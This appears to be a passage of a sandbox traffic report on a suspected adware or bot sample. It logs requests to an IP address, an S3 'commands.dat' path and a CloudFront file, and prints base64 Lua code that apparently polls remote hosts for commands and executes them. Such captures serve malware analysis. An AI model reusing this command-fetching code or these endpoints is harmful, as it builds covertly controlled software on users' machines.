bnVtYmVyKGUub3JkZXIpO2VuZCk7CmxvY2FsIHI9dHJ1ZTsKbG9jYWwgaD10cnVlOwpsb2NhbCBk
PWZhbHNlOwpsb2NhbCBsPXt9Owpsb2NhbCBvPTA7CmxvY2FsIHM9e307CmZ1bmN0aW9uIGRvR290
byhlLHQpCmZvciBhLGUgaW4gcGFpcnMoYSlkbwppZiB0PD10b251bWJlcihlWyJvcmRlciJdKXRo
ZW4KZVsic3RhdHVzIl09IjAiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uaWw7
CmVsc2VpZiB0PnRvbnVtYmVyKGVbIm9yZGVyIl0pdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRh
dGUiXT1vcy50aW1lKCk7CmVuZAplbmQKZW5kCndoaWxlKGgpZG8KaT17fTsKaD1mYWxzZTsKZm9y
IHUsdCBpbiBwYWlycyhhKWRvCmlmIG8+MCB0aGVuCmRvR290byhhLG8pOwppZiBvPT10b251bWJl
cih0WyJvcmRlciJdKXRoZW4Kbz0wOwplbHNlCnRbInN0YXR1cyJdPSIxIjsKZW5kCmVuZApsb2Nh
bCB1PSh0WyJzdGF0dXMiXX49bmlsKWFuZCB0WyJzdGF0dXMiXW9yIjAiOwplLmRlYnVnKHN0cmlu
Zy5mb3JtYXQoIiMlcy0lcy4gJXMgJXMgU3RhdHVzOiAlcyBMb29wOiAlcyBHbzogJXMiLHRbIm9y
ZGVyIl0sbyx0WyJ0eHRjbWQiXSx0WyJ0eHRkbyJdLHUsdG9zdHJpbmcociksdG9zdHJpbmcoaCkp
KTsKaWYgdT09IjAiYW5kIHIgdGhlbgplLmRlYnVnKCJJbnNpZGUgTWFpbiBMb29wIik7CmlmIHRb
InR4dGRvIl09PSJHb3RvInRoZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJHb3RvIGNvbW1hbmQ6
ICVzIix0WyJ0eHRXaGF0Il0pKTsKbG9jYWwgZT10b251bWJlcih0WyJ0eHRXaGF0Il0pOwppZiBl
PjAgdGhlbgpkb0dvdG8oYSxlKTsKZG9Hb3RvKGksZSk7Cm89ZTsKZW5kCmVsc2UKZS5zZXRyZXN1
bHRzKGwpOwp0LGQ9ZS5jb21tYW5kKHQpOwppZiB0WyJ0eHRjbWQiXT09IklmInRoZW4KaWYgdFsi
dHh0V2hhdFRoZW4iXT09IkdvdG8ib3IgdFsidHh0V2hhdEVsc2UiXT09IkdvdG8idGhlbgpsb2Nh
bCBuPWUuc3BsaXQodFsidHh0R290byJdLCIsIik7CmxvY2FsIHM9KG5bMV1+PW5pbClhbmQgdG9u
dW1iZXIoblsxXSlvciAwOwpsb2NhbCBuPShuWzJdfj1uaWwpYW5kIHRvbnVtYmVyKG5bMl0pb3Ig
MDsKbG9jYWwgdD0odFsicmVzdWx0Il09PSIxIilhbmQgcyBvciBuOwppZiB0PjAgdGhlbgplLmRl
YnVnKHN0cmluZy5mb3JtYXQoIkdvdG8gQ29tbWFuZDogIyVzIix0KSk7CmRvR290byhhLHQpOwpk
b0dvdG8oaSx0KTsKbz10OwplbmQKZW5kCmVuZAplbmQKaWYgZD09dHJ1ZSB0aGVuCmQ9ZmFsc2U7
CnI9dHJ1ZTsKZWxzZQpyPWZhbHNlOwplbmQKZW5kCmlmIHRbInJlc3VsdCJdfj1uaWwgdGhlbgps
W3RbIm9yZGVyIl1dPXRbInJlc3VsdCJdOwplbHNlCmxbdFsib3JkZXIiXV09IiI7CmVuZAppZiBv
PjAgdGhlbgpoPXRydWU7CnNbb109KHNbb10pYW5kIHNbb10rMSBvciAxOwppZiBzW29dPjIwIHRo
ZW4Kbj1uLTk5OTk5OwplLmRlYnVnKHN0cmluZy5mb3JtYXQoIkxvb3AgT3ZlcmZsb3c6ICVzICVz
ICVzOiVzIixvcy50aW1lKCksbixvLHNbb10pKTsKU2V0VGltZUxhc3RDbWQoMCk7CmJyZWFrOwpl
bmQKZW5kCnRhYmxlLmluc2VydChpLHQpOwplbmQKaWYgR2V0VGltZUxhc3RDbWQgdGhlbgppZiBo
IGFuZCBHZXRUaW1lTGFzdENtZCgpPjAgdGhlbgpyPXRydWU7CmVuZAplbmQKZS5zYXZlZGIoSlNP
TjplbmNvZGUoaSkpOwphPWUuc2hhbGxvd2NvcHkoaSk7CmVuZApyZXR1cm4gYzs=
|
54.221.132.220 (54.221.132.220:80) | ||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ID | URI | RESPONSE TYPE | FILENAME | RESPONSE CODE | MAGIC | SIZE | TIME | |||||||||||||
1 | /eu.json?g=1D838342-53E2-78FE-9B00-4943C678D839&s= | text/json | eu.json | 200 OK | 0.0 B | 09/06/72 16:23:50 | ||||||||||||||
|
s3.amazonaws.com (54.231.244.8:80) | ||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ID | URI | RESPONSE TYPE | FILENAME | RESPONSE CODE | MAGIC | SIZE | TIME | |||||||||||||||
2 | /cdn.adpk.com/999/commands.dat?g=1D838342-53E2-78FE-9B00-4943C678D839&s= | application/xml | commands.dat | 403 Forbidden | XML | 231.0 B | 09/11/72 06:16:24 | |||||||||||||||
PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPEVycm9yPjxDb2RlPkFjY2Vz
c0RlbmllZDwvQ29kZT48TWVzc2FnZT5BY2Nlc3MgRGVuaWVkPC9NZXNzYWdlPjxSZXF1ZXN0SWQ+
MTdGOTg2NDQ5NDIyQzVGNDwvUmVxdWVzdElkPjxIb3N0SWQ+bFM3bDFUME8vbW9GdDJTelJvSGxQ
c3Y5YUNuTjVzdFV1SUZkZW5BT1pVZG0yY290YitvelB0UGREZmhLRWJFazwvSG9zdElkPjwvRXJy
b3I+
|
dq7lo1d0bbd2n.cloudfront.net (54.192.14.76:80) | ||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ID | URI | RESPONSE TYPE | FILENAME | RESPONSE CODE | MAGIC | SIZE | TIME | |||||||||||||||
3 | /v2/tfn5306351516.html(2) | text/html | tfn5306351516.html(2) | 200 OK | TEXT | 46.2 KB | 02/05/44 19:13:32 | |||||||||||||||
IyEvdXNyL2Jpbi9lbnYgbHVhCnBhY2thZ2UucHJlbG9hZFsnSlNPTiddPShmdW5jdGlvbiguLi4p
CmxvY2FsIGU9MjAxNDA0MTguMTEKbG9jYWwgdD17VkVSU0lPTj1lfQpsb2NhbCBlPSItWyBKU09O
Lmx1YSBwYWNrYWdlIGJ5IEplZmZyZXkgRnJpZWRsIChodHRwOi8vcmVnZXguaW5mby9ibG9nL2x1
YS9qc29uKSwgdmVyc2lvbiAiLi50b3N0cmluZyhlKS4uIiBdLSIKbG9jYWwgYT17X190b3N0cmlu
Zz1mdW5jdGlvbigpcmV0dXJuIkpTT04gYXJyYXkiZW5kfWEuX19pbmRleD1hCmxvY2FsIGU9e19f
dG9zdHJpbmc9ZnVuY3Rpb24oKXJldHVybiJKU09OIG9iamVjdCJlbmR9ZS5fX2luZGV4PWUKZnVu
Y3Rpb24gdDpuZXdBcnJheShlKQpyZXR1cm4gc2V0bWV0YXRhYmxlKGUgb3J7fSxhKQplbmQKZnVu
Y3Rpb24gdDpuZXdPYmplY3QodCkKcmV0dXJuIHNldG1ldGF0YWJsZSh0IG9ye30sZSkKZW5kCmxv
Y2FsIGZ1bmN0aW9uIHIoZSkKaWYgZTw9MTI3IHRoZW4KcmV0dXJuIHN0cmluZy5jaGFyKGUpCmVs
c2VpZiBlPD0yMDQ3IHRoZW4KbG9jYWwgdD1tYXRoLmZsb29yKGUvNjQpCmxvY2FsIGU9ZS0oNjQq
dCkKcmV0dXJuIHN0cmluZy5jaGFyKDE5Mit0LAoxMjgrZSkKZWxzZWlmIGU8PTY1NTM1IHRoZW4K
bG9jYWwgdD1tYXRoLmZsb29yKGUvNDA5NikKbG9jYWwgYT1lLTQwOTYqdApsb2NhbCBlPW1hdGgu
Zmxvb3IoYS82NCkKbG9jYWwgYT1hLTY0KmUKdD0yMjQrdAplPTEyOCtlCmE9MTI4K2EKaWYodD09
MjI0IGFuZCBlPDE2MClvcgoodD09MjM3IGFuZCBlPjE1OSlvcgoodD09MjQwIGFuZCBlPDE0NClv
cgoodD09MjQ0IGFuZCBlPjE0MykKdGhlbgpyZXR1cm4iPyIKZWxzZQpyZXR1cm4gc3RyaW5nLmNo
YXIodCwKZSwKYSkKZW5kCmVsc2UKbG9jYWwgdD1tYXRoLmZsb29yKGUvMjYyMTQ0KQpsb2NhbCBl
PWUtMjYyMTQ0KnQKbG9jYWwgYT1tYXRoLmZsb29yKGUvNDA5NikKZT1lLTQwOTYqYQpsb2NhbCBv
PW1hdGguZmxvb3IoZS82NCkKbG9jYWwgZT1lLTY0Km8KcmV0dXJuIHN0cmluZy5jaGFyKDI0MCt0
LAoxMjgrYSwKMTI4K28sCjEyOCtlKQplbmQKZW5kCmZ1bmN0aW9uIHQ6b25EZWNvZGVFcnJvcihl
LGEsaSxvKQppZiBhIHRoZW4KaWYgaSB0aGVuCmU9c3RyaW5nLmZvcm1hdCgiJXMgYXQgY2hhciAl
ZCBvZjogJXMiLGUsaSxhKQplbHNlCmU9c3RyaW5nLmZvcm1hdCgiJXM6ICVzIixlLGEpCmVuZApl
bmQKaWYgb349bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShvKS4uIikiCmVuZAppZiBzZWxm
LmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVu
ZAplbmQKdC5vbkRlY29kZU9mTmlsRXJyb3I9dC5vbkRlY29kZUVycm9yCnQub25EZWNvZGVPZkhU
TUxFcnJvcj10Lm9uRGVjb2RlRXJyb3IKZnVuY3Rpb24gdDpvbkVuY29kZUVycm9yKGUsYSkKaWYg
YX49bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShhKS4uIikiCmVuZAppZiBzZWxmLmFzc2Vy
dCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVuZAplbmQK
bG9jYWwgZnVuY3Rpb24gbChuLHQsYSxpKQpsb2NhbCBvPXQ6bWF0Y2goJ14tP1sxLTldJWQqJyxh
KQpvciB0Om1hdGNoKCJeLT8wIixhKQppZiBub3QgbyB0aGVuCm46b25EZWNvZGVFcnJvcigiZXhw
ZWN0ZWQgbnVtYmVyIix0LGEsaSkKZW5kCmxvY2FsIGU9YStvOmxlbigpCmxvY2FsIHM9dDptYXRj
aCgnXiUuJWQrJyxlKW9yIiIKZT1lK3M6bGVuKCkKbG9jYWwgaD10Om1hdGNoKCdeW2VFXVstK10/
JWQrJyxlKW9yIiIKZT1lK2g6bGVuKCkKbG9jYWwgbz1vLi5zLi5oCmxvY2FsIG89dG9udW1iZXIo
bykKaWYgbm90IG8gdGhlbgpuOm9uRGVjb2RlRXJyb3IoImJhZCBudW1iZXIiLHQsYSxpKQplbmQK
cmV0dXJuIG8sZQplbmQKbG9jYWwgZnVuY3Rpb24gZChuLGEsaSxzKQppZiBhOnN1YihpLGkpfj0n
Iid0aGVuCm46b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgc3RyaW5nJ3Mgb3BlbmluZyBxdW90ZSIs
YSxpLHMpCmVuZApsb2NhbCBlPWkrMQpsb2NhbCBvPWE6bGVuKCkKbG9jYWwgdD0iIgp3aGlsZSBl
PD1vIGRvCmxvY2FsIG89YTpzdWIoZSxlKQppZiBvPT0nIid0aGVuCnJldHVybiB0LGUrMQplbmQK
aWYgb349J1xcJ3RoZW4KdD10Li5vCmU9ZSsxCmVsc2VpZiBhOm1hdGNoKCdeXFxiJyxlKXRoZW4K
dD10Li4iXGIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxmJyxlKXRoZW4KdD10Li4iXGYiCmU9
ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxuJyxlKXRoZW4KdD10Li4iXG4iCmU9ZSsyCmVsc2VpZiBh
Om1hdGNoKCdeXFxyJyxlKXRoZW4KdD10Li4iXHIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFx0
JyxlKXRoZW4KdD10Li4iXHQiCmU9ZSsyCmVsc2UKbG9jYWwgbz1hOm1hdGNoKCdeXFx1KFswMTIz
NDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFi
QmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIG8gdGhlbgplPWUrNgps
b2NhbCBvPXRvbnVtYmVyKG8sMTYpCmlmIG8+PTU1Mjk2IGFuZCBvPD01NjMxOSB0aGVuCmxvY2Fs
IHQ9YTptYXRjaCgnXlxcdShbZERdW2NkZWZDREVGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVsw
MTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIHQgdGhlbgplPWUrNgpvPTkyMTYrKG8tNTUy
OTYpKjEwMjQrdG9udW1iZXIodCwxNikKZWxzZQplbmQKZW5kCnQ9dC4ucihvKQplbHNlCnQ9dC4u
YTptYXRjaCgnXlxcKC4pJyxlKQplPWUrMgplbmQKZW5kCmVuZApuOm9uRGVjb2RlRXJyb3IoInVu
Y2xvc2VkIHN0cmluZyIsYSxpLHMpCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUsdCkKbG9jYWwgYSxl
PWU6ZmluZCgiXlsgXG5cclx0XSsiLHQpCmlmIGUgdGhlbgpyZXR1cm4gZSsxCmVsc2UKcmV0dXJu
IHQKZW5kCmVuZApsb2NhbCBzCmxvY2FsIGZ1bmN0aW9uIHUobyx0LGksbikKaWYgbm90IHQ6c3Vi
KGksaSk9PSd7J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCAneyciLHQsaSxuKQplbmQK
bG9jYWwgZT1hKHQsaSsxKQpsb2NhbCBoPW8uc3RyaWN0VHlwZXMgYW5kIG86bmV3T2JqZWN0e31v
cnt9CmlmIHQ6c3ViKGUsZSk9PSd9J3RoZW4KcmV0dXJuIGgsZSsxCmVuZApsb2NhbCByPXQ6bGVu
KCkKd2hpbGUgZTw9ciBkbwpsb2NhbCByLGk9ZChvLHQsZSxuKQplPWEodCxpKQppZiB0OnN1Yihl
LGUpfj0nOid0aGVuCm86b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgY29sb24iLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQpsb2NhbCBpLHM9cyhvLHQsZSkKaFtyXT1pCmU9YSh0LHMpCmxvY2FsIGk9dDpz
dWIoZSxlKQppZiBpPT0nfSd0aGVuCnJldHVybiBoLGUrMQplbmQKaWYgdDpzdWIoZSxlKX49Jywn
dGhlbgpvOm9uRGVjb2RlRXJyb3IoImV4cGVjdGVkIGNvbW1hIG9yICd9JyIsdCxlLG4pCmVuZApl
PWEodCxlKzEpCmVuZApvOm9uRGVjb2RlRXJyb3IoInVuY2xvc2VkICd7JyIsdCxpLG4pCmVuZAps
b2NhbCBmdW5jdGlvbiBjKG8sdCxpLG4pCmlmIG5vdCB0OnN1YihpLGkpPT0nWyd0aGVuCm86b25E
ZWNvZGVFcnJvcigiZXhwZWN0ZWQgJ1snIix0LGksbikKZW5kCmxvY2FsIGU9YSh0LGkrMSkKbG9j
YWwgcj1vLnN0cmljdFR5cGVzIGFuZCBvOm5ld0FycmF5e31vcnt9CmlmIHQ6c3ViKGUsZSk9PSdd
J3RoZW4KcmV0dXJuIHIsZSsxCmVuZApsb2NhbCBoPTEKbG9jYWwgZD10OmxlbigpCndoaWxlIGU8
PWQgZG8KbG9jYWwgcyxpPXMobyx0LGUpCnJbaF09cwpoPWgrMQplPWEodCxpKQpsb2NhbCBpPXQ6
c3ViKGUsZSkKaWYgaT09J10ndGhlbgpyZXR1cm4gcixlKzEKZW5kCmlmIHQ6c3ViKGUsZSl+PScs
J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCBjb21tYSBvciAnWyciLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQplbmQKbzpvbkRlY29kZUVycm9yKCJ1bmNsb3NlZCAnWyciLHQsaSxuKQplbmQK
cz1mdW5jdGlvbihpLHQsZSxvKQplPWEodCxlKQppZiBlPnQ6bGVuKCl0aGVuCmk6b25EZWNvZGVF
cnJvcigidW5leHBlY3RlZCBlbmQgb2Ygc3RyaW5nIix0LG5pbCxvKQplbmQKaWYgdDpmaW5kKCde
IicsZSl0aGVuCnJldHVybiBkKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ15bLTAxMjM0NTY3ODkg
XScsZSl0aGVuCnJldHVybiBsKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14leycsZSl0aGVuCnJl
dHVybiB1KGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14lWycsZSl0aGVuCnJldHVybiBjKGksdCxl
LG8pCmVsc2VpZiB0OmZpbmQoJ150cnVlJyxlKXRoZW4KcmV0dXJuIHRydWUsZSs0CmVsc2VpZiB0
OmZpbmQoJ15mYWxzZScsZSl0aGVuCnJldHVybiBmYWxzZSxlKzUKZWxzZWlmIHQ6ZmluZCgnXm51
bGwnLGUpdGhlbgpyZXR1cm4gbmlsLGUrNAplbHNlCmk6b25EZWNvZGVFcnJvcigiY2FuJ3QgcGFy
c2UgSlNPTiIsdCxlLG8pCmVuZAplbmQKZnVuY3Rpb24gdDpkZWNvZGUoZSxhKQppZiB0eXBlKHNl
bGYpfj0ndGFibGUnb3Igc2VsZi5fX2luZGV4fj10IHRoZW4KdDpvbkRlY29kZUVycm9yKCJKU09O
OmRlY29kZSBtdXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixuaWwsbmlsLGEpCmVuZApp
ZiBlPT1uaWwgdGhlbgpzZWxmOm9uRGVjb2RlT2ZOaWxFcnJvcihzdHJpbmcuZm9ybWF0KCJuaWwg
cGFzc2VkIHRvIEpTT046ZGVjb2RlKCkiKSxuaWwsbmlsLGEpCmVsc2VpZiB0eXBlKGUpfj0nc3Ry
aW5nJ3RoZW4Kc2VsZjpvbkRlY29kZUVycm9yKHN0cmluZy5mb3JtYXQoImV4cGVjdGVkIHN0cmlu
ZyBhcmd1bWVudCB0byBKU09OOmRlY29kZSgpLCBnb3QgJXMiLHR5cGUoZSkpLG5pbCxuaWwsYSkK
ZW5kCmlmIGU6bWF0Y2goJ14lcyokJyl0aGVuCnJldHVybiBuaWwKZW5kCmlmIGU6bWF0Y2goJ14l
cyo8Jyl0aGVuCnNlbGY6b25EZWNvZGVPZkhUTUxFcnJvcihzdHJpbmcuZm9ybWF0KCJodG1sIHBh
c3NlZCB0byBKU09OOmRlY29kZSgpIiksZSxuaWwsYSkKZW5kCmlmIGU6c3ViKDEsMSk6Ynl0ZSgp
PT0wIG9yKGU6bGVuKCk+PTIgYW5kIGU6c3ViKDIsMik6Ynl0ZSgpPT0wKXRoZW4Kc2VsZjpvbkRl
Y29kZUVycm9yKCJKU09OIHBhY2thZ2UgZ3Jva3Mgb25seSBVVEYtOCwgc29ycnkiLGUsbmlsLGEp
CmVuZApsb2NhbCB0LGU9cGNhbGwocyxzZWxmLGUsMSxhKQppZiB0IHRoZW4KcmV0dXJuIGUKZWxz
ZQppZiBzZWxmLmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZh
bHNlLGUpCmVuZApyZXR1cm4gbmlsLGUKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUpCmlmIGU9
PSJcbiJ0aGVuCnJldHVybiJcXG4iCmVsc2VpZiBlPT0iXHIidGhlbgpyZXR1cm4iXFxyIgplbHNl
aWYgZT09Ilx0InRoZW4KcmV0dXJuIlxcdCIKZWxzZWlmIGU9PSJcYiJ0aGVuCnJldHVybiJcXGIi
CmVsc2VpZiBlPT0iXGYidGhlbgpyZXR1cm4iXFxmIgplbHNlaWYgZT09JyIndGhlbgpyZXR1cm4n
XFwiJwplbHNlaWYgZT09J1xcJ3RoZW4KcmV0dXJuJ1xcXFwnCmVsc2UKcmV0dXJuIHN0cmluZy5m
b3JtYXQoIlxcdSUwNHgiLGU6Ynl0ZSgpKQplbmQKZW5kCmxvY2FsIGUKPSdbJwouLiciJwouLicl
XFwnCi4uJyV6JwouLidcMDAxJy4uJy0nLi4nXDAzMScKLi4nXScKbG9jYWwgZnVuY3Rpb24gZCh0
KQpsb2NhbCBlPXQ6Z3N1YihlLGEpCnJldHVybiciJy4uZS4uJyInCmVuZApsb2NhbCBmdW5jdGlv
biByKG4sYSxzKQpsb2NhbCBvPXt9CmxvY2FsIHQ9e30KbG9jYWwgaD1mYWxzZQpsb2NhbCBpCmZv
ciBlIGluIHBhaXJzKGEpZG8KaWYgdHlwZShlKT09J3N0cmluZyd0aGVuCnRhYmxlLmluc2VydChv
LGUpCmVsc2VpZiB0eXBlKGUpPT0nbnVtYmVyJ3RoZW4KdGFibGUuaW5zZXJ0KHQsZSkKaWYgZTw9
MCBvciBlPj1tYXRoLmh1Z2UgdGhlbgpoPXRydWUKZWxzZWlmIG5vdCBpIG9yIGU+aSB0aGVuCmk9
ZQplbmQKZWxzZQpuOm9uRW5jb2RlRXJyb3IoImNhbid0IGVuY29kZSB0YWJsZSB3aXRoIGEga2V5
IG9mIHR5cGUgIi4udHlwZShlKSxzKQplbmQKZW5kCmlmI289PTAgYW5kIG5vdCBoIHRoZW4KaWYj
dD4wIHRoZW4KcmV0dXJuIG5pbCxpCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gYXJyYXkidGhl
bgpyZXR1cm4gbmlsCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gb2JqZWN0InRoZW4KcmV0dXJu
e30KZWxzZQpyZXR1cm4gbmlsCmVuZAplbmQKdGFibGUuc29ydChvKQpsb2NhbCBlCmlmI3Q+MCB0
aGVuCmlmIEpTT04ubm9LZXlDb252ZXJzaW9uIHRoZW4KbjpvbkVuY29kZUVycm9yKCJhIHRhYmxl
IHdpdGggYm90aCBudW1lcmljIGFuZCBzdHJpbmcga2V5cyBjb3VsZCBiZSBhbiBvYmplY3Qgb3Ig
YXJyYXk7IGFib3J0aW5nIixzKQplbmQKZT17fQpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1h
CmVuZAp0YWJsZS5zb3J0KHQpCmZvciB0LGkgaW4gaXBhaXJzKHQpZG8KbG9jYWwgdD10b3N0cmlu
ZyhpKQppZiBlW3RdPT1uaWwgdGhlbgp0YWJsZS5pbnNlcnQobyx0KQplW3RdPWFbaV0KZWxzZQpu
Om9uRW5jb2RlRXJyb3IoImNvbmZsaWN0IGNvbnZlcnRpbmcgdGFibGUgd2l0aCBtaXhlZC10eXBl
IGtleXMgaW50byBhIEpTT04gb2JqZWN0OiBrZXkgIi4uaS4uIiBleGlzdHMgYm90aCBhcyBhIHN0
cmluZyBhbmQgYSBudW1iZXIuIixzKQplbmQKZW5kCmVuZApyZXR1cm4gbyxuaWwsZQplbmQKbG9j
YWwgYQpmdW5jdGlvbiBhKHQsZSxpLG8sbikKaWYgZT09bmlsIHRoZW4KcmV0dXJuJ251bGwnCmVs
c2VpZiB0eXBlKGUpPT0nc3RyaW5nJ3RoZW4KcmV0dXJuIGQoZSkKZWxzZWlmIHR5cGUoZSk9PSdu
dW1iZXIndGhlbgppZiBlfj1lIHRoZW4KcmV0dXJuIm51bGwiCmVsc2VpZiBlPj1tYXRoLmh1Z2Ug
dGhlbgpyZXR1cm4iMWUrOTk5OSIKZWxzZWlmIGU8PS1tYXRoLmh1Z2UgdGhlbgpyZXR1cm4iLTFl
Kzk5OTkiCmVsc2UKcmV0dXJuIHRvc3RyaW5nKGUpCmVuZAplbHNlaWYgdHlwZShlKT09J2Jvb2xl
YW4ndGhlbgpyZXR1cm4gdG9zdHJpbmcoZSkKZWxzZWlmIHR5cGUoZSl+PSd0YWJsZSd0aGVuCnQ6
b25FbmNvZGVFcnJvcigiY2FuJ3QgY29udmVydCAiLi50eXBlKGUpLi4iIHRvIEpTT04iLG8pCmVs
c2UKbG9jYWwgZT1lCmlmIGlbZV10aGVuCnQ6b25FbmNvZGVFcnJvcigidGFibGUgIi4udG9zdHJp
bmcoZSkuLiIgaXMgYSBjaGlsZCBvZiBpdHNlbGYiLG8pCmVsc2UKaVtlXT10cnVlCmVuZApsb2Nh
bCBzCmxvY2FsIGgscixkPXIodCxlLG8pCmlmIHIgdGhlbgpsb2NhbCBoPXt9CmZvciBzPTEsciBk
bwp0YWJsZS5pbnNlcnQoaCxhKHQsZVtzXSxpLG8sbikpCmVuZAppZiBuIHRoZW4Kcz0iWyAiLi50
YWJsZS5jb25jYXQoaCwiLCAiKS4uIiBdIgplbHNlCnM9IlsiLi50YWJsZS5jb25jYXQoaCwiLCIp
Li4iXSIKZW5kCmVsc2VpZiBoIHRoZW4KbG9jYWwgZD1kIG9yIGUKaWYgbiB0aGVuCmxvY2FsIHI9
e30KbG9jYWwgZT0wCmZvciBzLG4gaW4gaXBhaXJzKGgpZG8KbG9jYWwgdD1hKHQsdG9zdHJpbmco
biksaSxvLCIiKQplPW1hdGgubWF4KGUsI3QpCnRhYmxlLmluc2VydChyLHQpCmVuZApsb2NhbCB1
PW4uLiIgICAgIgpsb2NhbCBsPW4uLnN0cmluZy5yZXAoIiAiLGUrMis0KQpsb2NhbCBjPSIlcyUi
Li5zdHJpbmcuZm9ybWF0KCIlZCIsZSkuLiJzOiAlcyIKbG9jYWwgZT17fQpmb3IgaCxuIGluIGlw
YWlycyhoKWRvCmxvY2FsIHQ9YSh0LGRbbl0saSxvLGwpCnRhYmxlLmluc2VydChlLHN0cmluZy5m
b3JtYXQoYyx1LHJbaF0sdCkpCmVuZApzPSJ7XG4iLi50YWJsZS5jb25jYXQoZSwiLFxuIikuLiJc
biIuLm4uLiJ9IgplbHNlCmxvY2FsIHI9e30KZm9yIGgsZSBpbiBpcGFpcnMoaClkbwpsb2NhbCBz
PWEodCxkW2VdLGksbyxuKQpsb2NhbCBlPWEodCx0b3N0cmluZyhlKSxpLG8sbikKdGFibGUuaW5z
ZXJ0KHIsc3RyaW5nLmZvcm1hdCgiJXM6JXMiLGUscykpCmVuZApzPSJ7Ii4udGFibGUuY29uY2F0
KHIsIiwiKS4uIn0iCmVuZAplbHNlCnM9IltdIgplbmQKaVtlXT1mYWxzZQpyZXR1cm4gcwplbmQK
ZW5kCmZ1bmN0aW9uIHQ6ZW5jb2RlKG8sZSkKaWYgdHlwZShzZWxmKX49J3RhYmxlJ29yIHNlbGYu
X19pbmRleH49dCB0aGVuCnQ6b25FbmNvZGVFcnJvcigiSlNPTjplbmNvZGUgbXVzdCBiZSBjYWxs
ZWQgaW4gbWV0aG9kIGZvcm1hdCIsZSkKZW5kCnJldHVybiBhKHNlbGYsbyx7fSxlLG5pbCkKZW5k
CmZ1bmN0aW9uIHQ6ZW5jb2RlX3ByZXR0eShvLGUpCmlmIHR5cGUoc2VsZil+PSd0YWJsZSdvciBz
ZWxmLl9faW5kZXh+PXQgdGhlbgp0Om9uRW5jb2RlRXJyb3IoIkpTT046ZW5jb2RlX3ByZXR0eSBt
dXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixlKQplbmQKcmV0dXJuIGEoc2VsZixvLHt9
LGUsIiIpCmVuZApmdW5jdGlvbiB0Ll9fdG9zdHJpbmcoKQpyZXR1cm4iSlNPTiBlbmNvZGUvZGVj
b2RlIHBhY2thZ2UiCmVuZAp0Ll9faW5kZXg9dApmdW5jdGlvbiB0Om5ldyhhKQpsb2NhbCBlPXt9
CmlmIGEgdGhlbgpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1hCmVuZAplbmQKcmV0dXJuIHNl
dG1ldGF0YWJsZShlLHQpCmVuZApyZXR1cm4gdDpuZXcoKQplbmQpCnBhY2thZ2UucHJlbG9hZFsn
Y29tbW9uJ109KGZ1bmN0aW9uKC4uLikKbG9jYWwgcz1yZXF1aXJlKCJzb2NrZXQuaHR0cCIpOwps
b2NhbCByPXJlcXVpcmUoImx0bjEyIik7CmxvY2FsIHQ9e307CmxvY2FsIGQ9e19faW5kZXg9dH07
CmxvY2FsIGg9dHJ1ZTsKbG9jYWwgbj0iIjsKbG9jYWwgZT1vcy50aW1lKCk7CmxvY2FsIGU9Jyc7
CmxvY2FsIGU9Jyc7CmxvY2FsIGU9Jyc7CmxvY2FsIGk9e307CmZ1bmN0aW9uIHQuc2hhbGxvd2Nv
cHkodCkKbG9jYWwgYT10eXBlKHQpCmxvY2FsIGUKaWYgYT09J3RhYmxlJ3RoZW4KZT17fQpmb3Ig
dCxhIGluIHBhaXJzKHQpZG8KZVt0XT1hCmVuZAplbHNlCmU9dAplbmQKcmV0dXJuIGUKZW5kCmZ1
bmN0aW9uIHQuc2V0cmVzdWx0cyhlKQppPXQuc2hhbGxvd2NvcHkoZSk7CmVuZApwcm9ncmVzc19m
aWx0ZXI9ZnVuY3Rpb24oZSkKbG9jYWwgdD0wOwpyZXR1cm4gZnVuY3Rpb24oZSkKaWYgZT09bmls
IHRoZW4gcmV0dXJuIG5pbCBlbmQKaWYgZT09IiJ0aGVuIHJldHVybiIiZW5kCnQ9dCsjZTsKcmV0
